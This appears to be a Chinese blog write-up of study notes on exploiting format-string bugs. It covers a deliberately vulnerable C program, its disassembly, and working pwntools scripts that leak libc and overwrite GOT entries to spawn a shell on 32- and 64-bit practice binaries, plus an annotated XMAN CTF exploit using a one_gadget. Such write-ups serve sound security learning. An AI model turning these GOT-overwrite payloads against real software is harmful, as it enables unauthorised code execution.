【逆向学习记录】格式化字符串漏洞原理及其利用

1 概述

前面学习完成栈溢出的漏洞利用,接下来最长用到的就是格式化字符串了,由于懒散,春节之前耽误的很多时间,这里统一整理一下
学习的过程中,主要参考文章:
格式化字符串利用小结
CTF WIKI
格式化字符串漏洞利用

2 关键知识点

引用参考文件的内容
%c:输出字符,配上%n可用于向指定地址写数据。
%d:输出十进制整数,配上%n可用于向指定地址写数据。
%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。
%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。
%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。
%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100x%10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),
%$hn表示写入的地址空间为2字节,
%$hhn表示写入的地址空间为1字节,
%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。
%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。

3 案例

由于32位比较简单,因此优先使用32位程序进行漏洞学习,然后再使用64位,并且关闭栈保护

3.1 源码

#include
#include
int main(int argc, char* argv[]){
    char s[0x100] = {0};
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);
    memset(s, 0, 0x100);
    printf("input:");
    fgets(s, 1024, stdin);
    int len = strlen(s);
    printf("output:%d",len);
    printf(s);
    puts("good luck")
    return 0;
}

3.2 汇编代码

0x0804854b <+0>:     lea    ecx,[esp+0x4]
0x0804854f <+4>:     and    esp,0xfffffff0
0x08048552 <+7>:     push   DWORD PTR [ecx-0x4]
0x08048555 <+10>:    push   ebp
0x08048556 <+11>:    mov    ebp,esp
0x08048558 <+13>:    push   edi
0x08048559 <+14>:    push   ecx
0x0804855a <+15>:    sub    esp,0x110
0x08048560 <+21>:    lea    edx,[ebp-0x10c]
0x08048566 <+27>:    mov    eax,0x0
0x0804856b <+32>:    mov    ecx,0x40
0x08048570 <+37>:    mov    edi,edx
0x08048572 <+39>:    rep stos DWORD PTR es:[edi],eax
0x08048574 <+41>:    mov    eax,ds:0x804a044
0x08048579 <+46>:    push   0x0
0x0804857b <+48>:    push   0x2
0x0804857d <+50>:    push   0x0
0x0804857f <+52>:    push   eax
0x08048580 <+53>:    call   0x8048420 
0x08048585 <+58>:    add    esp,0x10
0x08048588 <+61>:    mov    eax,ds:0x804a040
0x0804858d <+66>:    push   0x0
0x0804858f <+68>:    push   0x2
0x08048591 <+70>:    push   0x0
0x08048593 <+72>:    push   eax
0x08048594 <+73>:    call   0x8048420 
0x08048599 <+78>:    add    esp,0x10
0x0804859c <+81>:    sub    esp,0x4
0x0804859f <+84>:    push   0x100
0x080485a4 <+89>:    push   0x0
0x080485a6 <+91>:    lea    eax,[ebp-0x10c]
0x080485ac <+97>:    push   eax
0x080485ad <+98>:    call   0x8048430 
0x080485b2 <+103>:   add    esp,0x10
0x080485b5 <+106>:   sub    esp,0xc
0x080485b8 <+109>:   push   0x80486c0
0x080485bd <+114>:   call   0x80483d0 
0x080485c2 <+119>:   add    esp,0x10
0x080485c5 <+122>:   mov    eax,ds:0x804a040
0x080485ca <+127>:   sub    esp,0x4
0x080485cd <+130>:   push   eax
0x080485ce <+131>:   push   0x100
0x080485d3 <+136>:   lea    eax,[ebp-0x10c]
0x080485d9 <+142>:   push   eax
0x080485da <+143>:   call   0x80483e0 
0x080485df <+148>:   add    esp,0x10
0x080485e2 <+151>:   sub    esp,0xc
0x080485e5 <+154>:   lea    eax,[ebp-0x10c]
0x080485eb <+160>:   push   eax
0x080485ec <+161>:   call   0x8048400 
0x080485f1 <+166>:   add    esp,0x10
0x080485f4 <+169>:   mov    DWORD PTR [ebp-0xc],eax
0x080485f7 <+172>:   sub    esp,0x8
0x080485fa <+175>:   push   DWORD PTR [ebp-0xc]
0x080485fd <+178>:   push   0x80486c7
0x08048602 <+183>:   call   0x80483d0 
0x08048607 <+188>:   add    esp,0x10
0x0804860a <+191>:   sub    esp,0xc
0x0804860d <+194>:   lea    eax,[ebp-0x10c]
0x08048613 <+200>:   push   eax
0x08048614 <+201>:   call   0x80483d0 
0x08048619 <+206>:   add    esp,0x10
0x0804861c <+209>:   sub    esp,0xc
0x0804861f <+212>:   push   0x80486d1
0x08048624 <+217>:   call   0x80483f0 
0x08048629 <+222>:   add    esp,0x10
0x0804862c <+225>:   mov    eax,0x0
0x08048631 <+230>:   lea    esp,[ebp-0x8]
0x08048634 <+233>:   pop    ecx
0x08048635 <+234>:   pop    edi
0x08048636 <+235>:   pop    ebp
0x08048637 <+236>:   lea    esp,[ecx-0x4]
0x0804863a <+239>:   ret

3.3 调试及利用

3.3.1 利用思路

1,覆盖put的got表地址为mian函数,这样就可以反复利用这个漏洞
2,泄露__libc_start_main的真实地址
3,将strlen函数修改为system
4,获得shell

3.3.2 32位利用脚本

from pwn import *

def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr


def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload

context(os='linux', arch='amd64', log_level='debug')
p = process("./fmt32")
elf = ELF("./fmt32")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

raw_input("debug")
print(hex(elf.got["puts"]))
print(hex(elf.plt["puts"]))
check_stack_fail_got = elf.got["puts"]
p.recvuntil("input:")
payload = "\x14\xa0\x04\x08\x15\xa0\x04\x08%67c%7$hhn%58c%8$hhnaaa%75$p"
p.sendline(payload)
print(payload)
p.recvuntil("aaa")
data = p.recv("10")
libc_start_main_addr = int(data,16) - 247
print("libc_start_main_addr = " + hex(libc_start_main_addr))
libc_addr = libc_start_main_addr - libc.symbols['__libc_start_main']
print("libc_addr =",hex(libc_addr))
system_addr = libc_addr + libc.symbols["system"]
print("system_addr =",hex(system_addr))

strlen_got = elf.got["strlen"]
print("strlen_got:" + hex(strlen_got))
p.recvuntil("input:")
#payload=fmtstr_payload(4,{printf_got:system_addr},write_size='bytes')
payload = fmt_str(7,4,strlen_got,system_addr)
p.sendline(payload)
p.recvuntil("input:")
p.sendline("/bin/sh")

p.interactive()

3.3.2 64位利用脚本

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
p = process("./fmt64")
elf = ELF("./fmt64")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

raw_input("debug")
print(hex(elf.got["puts"]))
p.recvuntil("input:")
payload = "%1798c%11$hnaaaaaaa%43$p" + p64(elf.got["puts"])
p.sendline(payload)
print(payload)
p.recvuntil("aaaaaaa")
data = p.recv("14")
libc_start_main_addr = int(data,16) - 240
print("libc_start_main_addr = " + hex(libc_start_main_addr))
libc_addr = libc_start_main_addr - libc.symbols['__libc_start_main']
print("libc_addr =",hex(libc_addr))
system_addr = libc_addr + libc.symbols["system"]
print("system_addr =",hex(system_addr))

strlen_got = elf.got["strlen"]
print("strlen_got:" + hex(strlen_got))
p.recvuntil("input:")
payload = "%" + str(((system_addr & 0x0000FFFF))) + "c%12$hn"
payload += "%" + str(((system_addr & 0xFFFF0000) >> 16) - (system_addr & 0x0000FFFF)) + "c%13$hn" 
payload += (8-len(payload)%8) * "a"
print(len(payload))
payload += p64(elf.got["strlen"]) + p64(elf.got["strlen"] + 2)
print("payload" + payload)
p.sendline(payload)
p.recvuntil("input:")
p.sendline("/bin/sh")

p.interactive()

最后都可以正常获得shell
在这里插入图片描述

4 注意事项

4.1 手工构造payload时候的计算方式,比如偏移为11

0x0804a014---->0x08048406--->0x0804854b
目标地址--------->源数据----------->修改为
\x14\xa0\x04\x08\x15\xa0\x04\x08%67c%11$hhn%58c%12$hhnaa

沟造的payload的长度计算原理
长度1为67 = 0x4b(75) - 0x08
长度2为58 = 0x85(133) - 0x08 - 67(0x43)
补充两个aa的原因为4字节对其恰好为24个字符
%67c%11$hhn%58c%12$hhnaa

4.2 最开始的时候,未关闭栈保护尝试通过覆盖__stack_chk_fail为main函数,发现汇编代码为,其中这段check的代码根本就没有执行到,有点莫名其妙

补充原因:这个只有在触发了cannary才会执行,相当于栈保护被破坏了

0x08048629 <+222>:   je     0x8048630 ---直接跳过了check
0x0804862b <+224>:   call   0x8048400 <__stack_chk_fail@plt>
0x08048630 <+229>:   lea    esp,[ebp-0x8]

4.3 自动化构造payload的函数,很多情况下不好使

开始的时候,本来使用的是fmtstr_payload系统函数进行构造,但是实际操作过程中,却发现存在以下问题,中间莫名其妙插入很多的0,导致计算覆盖地址出现错误,
因此最后是固定的地址,是通过手工计算的,变化的地址是从ctf wiki获取了一个比较成熟的格式化方法

    00000000  0c a0 04 08  **00 00 00 00**  0d a0 04 08  00 00 00 00  
    00000010  0e a0 04 08  **00 00 00 00**  0f a0 04 08  00 00 00 00
    00000020  10 a0 04 08  **00 00 00 00**  11 a0 04 08  00 00 00 00  
    00000030  12 a0 04 08  **00 00 00 00**  13 a0 04 08  00 00 00 00 
    00000040  25 38 30 63  25 34 24 68  68 6e 25 33  33 63 25 35  
    00000050  24 68 68 6e  25 33 37 63  25 36 24 68  68 6e 25 33  
    00000060  33 63 25 37  24 68 68 6e  25 39 63 25  38 24 68 68  
    00000070  6e 25 39 24  68 68 6e 25  31 30 24 68  68 6e 25 31  
    00000080  31 24 68 68  6e 0a               

4.4 如果是64位,计算偏移需要加上6个寄存器,因此下面的偏移是8(断点打在call printf上,也就是说是在printf之前)

【逆向学习记录】格式化字符串漏洞原理及其利用_第1张图片
也可以通过ida计算,ida反编译的时候,会自带一个栈的布局,rsp代表6,然后通过rsp + xx就能计算出来

4.5 疑问:在计算64位的过程中,如果使用上述自动化的函数,依然不好使,原因就是如果地址放在前面,会导致读取的时候遇到\00就截断,无法将全部内容读取成功

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
p = process("./fmt64")
elf = ELF("./fmt64")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

raw_input("debug")
print(hex(elf.got["puts"]))
p.recvuntil("input:")
payload = p64(elf.got["puts"]) + "%1790c%8$hnaaaaa"----1会导致读取的时候遇到\00就截断,无法将全部内容读取成功
# payload = "%1798c%10$hnaaaa" + p64(elf.got["puts"])-----2
p.sendline(payload)
print(payload)

p.interactive()

2可以正常运行,但是1是不可以正常覆盖地址的,也就是说,地址只能放在格式化字符串的后面,所以,最后需要手动计算了这么一段,需要根据拼接的字符串,计算偏移+后移(8+4)的距离

payload = "%" + str(((system_addr & 0x0000FFFF))) + "c%12$hn"
payload += "%" + str(((system_addr & 0xFFFF0000) >> 16) - (system_addr & 0x0000FFFF)) + "c%13$hn" 
payload += (8-len(payload)%8) * "a"
print(len(payload))
payload += p64(elf.got["strlen"]) + p64(elf.got["strlen"] + 2)

5 补充一个经典案例

前几天看到一个比较不错的案例。记录一下
XMAN结营赛总结
题目我也做了一下,然后就直接解析这个exp了

from pwn import *

context(os="linux", arch="amd64",log_level = "debug")
r = process("./once_time")
e = ELF("./once_time")
libc = e.libc

def sl(s):
    r.sendline(s)
def sd(s):
    r.send(s)
def rc(timeout=0):
    if timeout == 0:
        return r.recv()
    else:
        return r.recv(timeout=timeout)
def ru(s, timeout=0):
    if timeout == 0:
        return r.recvuntil(s)
    else:
        return r.recvuntil(s, timeout=timeout)


start = 0x400983
rc()
sl(p64(e.got["__stack_chk_fail"]))
rc()
payload = '%'+str(start)+"d%12$n"
payload = payload.ljust(0x20, "\x00")
sd(payload)

ru("input your name: ")
sl(p64(e.got["read"]))
ru("leave a msg: ")
payload = "%12$s"
payload = payload.ljust(0x20, "\x00")#填满0x20个字节,触发smach
sd(payload)
data = rc()

#libc.address = int(data[:6][::-1].encode("hex"), 16) - libc.symbols["read"]
#这两种写法都行,其中[::-1]的意思是逆序取字符串
libc.address = u64(data[:6].ljust(8,"\x00")) - libc.symbols["read"]

log.info("libc > " + hex(libc.address))

one_gadget = 0xf1147 + libc.address#通过泄漏的libc版本得到
log.info("one_gadget > " + hex(one_gadget))

sl(p64(e.got["exit"]))
ru("leave a msg: ")
payload = "%" + str(one_gadget & 0xFFFF) + "d%12$hn"#取最低的双字节并对齐
payload = payload.ljust(0x20, "\x00")
sd(payload)

ru("input your name: ")
sl(p64(e.got["exit"]+2))
ru("leave a msg: ")
payload = "%" + str((one_gadget >> 16) & 0xFFFF) + "d%12$hn"
payload = payload.ljust(0x20, "\x00")
sd(payload)

ru("input your name: ")
sl(p64(e.got["exit"]+4))
ru("leave a msg: ")
payload = "%" + str((one_gadget >> 32) & 0xFFFF) + "d%12$hn"
payload = payload.ljust(0x20, "\x00")
sd(payload)

ru("input your name: ")
sl(p64(e.got["exit"]+6))
ru("leave a msg: ")
log.info("one_gadget > " + hex(one_gadget))
log.info("one_gadget > " + hex((one_gadget >> 48) & 0xFFFF))
#到这里的时候就需要判断one_gadget 是否有八个字节的大小,如果有则继续写入,如果没有则停止写入
if (one_gadget >> 48) & 0xFFFF != 0:
    payload = "%" + str((one_gadget >> 48) & 0xFFFF) + "d%12$hn"
else:
    payload = "%12$hn"
payload = payload.ljust(0x20, "\x00")
sd(payload)

#写完exit的got表就触发exit从而getshell
ru("input your name: ")
sl('a')
ru("leave a msg: ")
sl("%p")
ru('\n')

#可以看到每次写入的双字节是多少
print hex(one_gadget & 0xFFFF)
print hex((one_gadget >> 16) & 0xFFFF)
print hex((one_gadget >> 32) & 0xFFFF)
print hex((one_gadget >> 48) & 0xFFFF)

r.interactive()

1.一般来讲,地址覆盖6位就够了,因此他这个覆盖比较巧妙,值得学习

log.info("one_gadget > " + hex((one_gadget >> 48) & 0xFFFF))
#到这里的时候就需要判断one_gadget 是否有八个字节的大小,如果有则继续写入,如果没有则停止写入
if (one_gadget >> 48) & 0xFFFF != 0:
    payload = "%" + str((one_gadget >> 48) & 0xFFFF) + "d%12$hn"
else:
    payload = "%12$hn"
payload = payload.ljust(0x20, "\x00")

2 这个题要注意onegadget是有条件的,这个题里面没有体现,是因为

payload = payload.ljust(0x20, "\x00")
sd(payload)

这两条语句执行完了,恰好就满足了onegadget的条件,不然,还需要进行构造,才能进一步满足
不同的libc结果也不同,https://github.com/david942j/one_gadget
【逆向学习记录】格式化字符串漏洞原理及其利用_第2张图片
3,如果不能用%p打出来的是地址,可以使用%s或者%8x等,打出来的是地址中的内容,因此格外注意一下,需要的地址和偏移都有可能不同,最终的数据处理,必须要反向处理一下

libc.address = int(data[:6][::-1].encode("hex"), 16) - libc.symbols["read"]
#这两种写法都行,其中[::-1]的意思是逆序取字符串
libc.address = u64(data[:6].ljust(8,"\x00")) - libc.symbols["read"]

你可能感兴趣的:(漏洞挖掘)